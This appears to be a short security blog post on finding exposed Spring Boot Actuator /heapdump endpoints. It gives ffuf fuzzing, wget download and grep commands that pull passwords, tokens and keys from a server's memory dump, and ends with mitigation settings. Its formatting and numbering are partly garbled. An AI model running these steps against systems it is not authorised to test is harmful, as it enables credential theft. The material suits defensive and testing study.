Exploiting Exposed Spring Boot Actuator Endpoints: Heapdump Analysis

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Recently, two vulnerabilities were discovered involving exposed Spring Boot Actuator endpoints, specifically the `/heapdump` path, which allowed unauthorized access to sensitive application data, including in-memory information.

You Should Know:

1. Identifying Exposed Actuator Endpoints

Use SecLists wordlists to fuzz for exposed endpoints:

ffuf -u https://target.com/FUZZ -w Java-Spring-Boot.txt -mc 200

Common Actuator endpoints:

– `/actuator`
– `/heapdump`
– `/env`
– `/trace`

2. Downloading and Analyzing Heapdump Files

If `/heapdump` is exposed, download the file:

wget https://target.com/heapdump -O memory_dump.hprof

3. Analyzing Heapdump with VisualVM

  • Install VisualVM (Java profiler): 
    sudo apt install visualvm  Linux 
brew install visualvm  macOS
  • Open the `.hprof` file: 
    visualvm --openfile memory_dump.hprof
  • Search for sensitive strings (passwords, tokens, keys): 
    strings memory_dump.hprof | grep -iE "password|token|secret|key"
    1. Extracting Data with jhat (Java Heap Analysis Tool) 
      jhat -port 7000 memory_dump.hprof

Access via:

curl http://localhost:7000
  1. Automating Analysis with Eclipse MAT (Memory Analyzer Tool)
    • Download Eclipse MAT
    • Load `.hprof` and run Leak Suspects Report.

6. Preventing Exposure

  • Disable Actuator endpoints in application.properties: 
    management.endpoints.web.exposure.include=health,info 
management.endpoint.heapdump.enabled=false
  • Restrict access via firewall/IP whitelisting.

What Undercode Say:

Exposed Actuator endpoints, especially /heapdump, are critical security risks. Attackers can extract runtime secrets, session tokens, and database credentials. Always:
– Restrict actuator exposure.
– Monitor for memory leaks.
– Use Spring Security to protect endpoints.

Expected Output:

  • Heapdump file analysis revealing sensitive data.
  • Identified credentials, API keys, or configuration leaks.

Prediction:

As cloud-native apps grow, misconfigured Actuator endpoints will remain a top attack vector, leading to more credential leaks and RCE exploits.

References:

References:

Reported By: Joao Victor – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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